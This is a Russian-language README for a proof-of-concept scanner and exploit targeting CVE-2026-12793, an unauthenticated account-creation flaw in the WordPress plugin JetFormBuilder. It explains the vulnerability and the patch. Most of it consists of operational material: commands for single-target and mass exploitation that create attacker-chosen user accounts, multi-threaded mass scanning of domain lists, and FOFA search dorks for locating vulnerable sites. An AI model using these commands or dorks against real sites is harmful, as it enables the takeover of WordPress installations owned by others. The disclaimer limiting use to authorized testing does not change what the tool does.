CVE-2026-12793 — Неаутентифицированное повышение привилегий в JetFormBuilder

Сканер и эксплойт proof-of-concept для CVE-2026-12793 в WordPress-плагине JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).

Уязвимость

Плагин не проверяет, что _jet_engine_booking_form_id ссылается на опубликованный пользовательский тип записи jet-form-builder, прежде чем загрузить содержимое блоков указанной записи как схему формы и выполнить действия после отправки формы.

Неаутентифицированный злоумышленник может отправить специально сформированный AJAX-запрос, чтобы вызвать действие Register User (wp_insert_user) и создать новую учётную запись WordPress. Если целевая форма неправильно настроена с повышенной ролью (например, administrator), это приводит к полному захвату сайта.

Сценарий атаки

1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created

Патч (3.6.2.1)

• Block_Helper::is_valid_form_post() — принимается только опубликованный CPT jet-form-builder
• Form_Handler::set_form_id() отклоняет недопустимые ID форм
• Усиление валидации SSR (wp_insert_user / wp_update_user блокируются как колбэки)

Требования

• Python 3.8+
• requests

pip install requests urllib3

Использование

Одиночная цель — проверка

python poc.py -u https://target.example --mode check

Массовое сканирование

python poc.py --list domains.txt --mode check --threads 30 --quiet

Форматы входных данных: один домен/URL на строку, FOFA CSV (host,domain) или candidates.jsonl из предыдущего запуска.

Эксплуатация (одиночная цель)

python poc.py -u https://target.example --mode exploit \
  --form-id 1858 \
  --page-url /register/ \
  --fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
  --username myuser \
  --email [email protected] \
  --password 'SecurePass123!' \
  --verify

Массовая эксплуатация по кандидатам

python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify

Опции

Выходные файлы

Пример записи кандидата

{
  "target": "https://target.example",
  "version": "3.3.3",
  "form_id": 1858,
  "page_url": "https://target.example/register/",
  "fields": {
    "login": "user_login",
    "email": "user_email",
    "password": "user_pass"
  }
}

Автоматически определяемые имена полей являются эвристическими. Всегда проверяйте и переопределяйте их с помощью --fields перед эксплуатацией.

Обнаружение / дорки FOFA

body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"

Проверка версии:

/wp-content/plugins/jetformbuilder/readme.txt

Ищите Stable tag: ≤ 3.6.2.

Ссылки

• NVD — CVE-2026-12793
• Wordfence Threat Intel
• Patchstack
• WordPress.org changeset
• GitHub fix commit

Отказ от ответственности

Этот инструмент предоставляется исключительно для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Авторы не несут ответственности за неправомерное использование.

Лицензия

MIT